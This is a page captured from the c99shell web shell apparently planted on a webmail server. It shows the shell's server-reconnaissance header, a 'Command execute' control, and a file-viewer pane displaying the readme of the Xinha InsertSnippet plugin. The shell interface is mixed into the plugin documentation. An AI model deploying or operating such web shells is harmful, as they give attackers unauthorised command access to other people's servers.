Software: Apache/2.0.54 (Unix) mod_perl/1.99_09 Perl/v5.8.0 mod_ssl/2.0.54 OpenSSL/0.9.7l DAV/2 FrontPage/5.0.2.2635 PHP/4.4.0 mod_gzip/2.0.26.1a uname -a: Linux snow.he.net 4.4.276-v2-mono-1 #1 SMP Wed Jul 21 11:21:17 PDT 2021 i686 uid=99(nobody) gid=98(nobody) groups=98(nobody) Safe-mode: OFF (not secure) /usr/local/webmail2/plugins/html_mail/htmlarea/plugins/InsertSnippet/ drwxr-xr-x | |
| Viewing file: Select action/file-type: InsertSnippet for XinhaInsert HTML fragments in your document. UsageIn order to use your own snippets you have to al least one parameter to your xinha_config: xinha_config.InsertSnippet.snippets = _editor_url+"plugins/InsertSnippet/snippets.php"; The path above indicates the use of the provided backend. This parses a file that contains the snippets and should have the following format: <!--Snippet ID--> Snippet content <!--/Snippet ID--> ...and so on You can use the snippets.html in the plugin folder or tell the backend where to find the file like this
with (xinha_config.InsertSnippet)
{
<?php
// define backend configuration for the plugin
$backend_data['snippets_file'] = '/file/containing/snippets.html';
require_once '../contrib/php-xinha.php';
xinha_pass_to_php_backend($backend_data);
?>
}
Raimund Meyer (xinha@raimundmeyer.de) |
:: Command execute :: | |
--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0216 ]-- |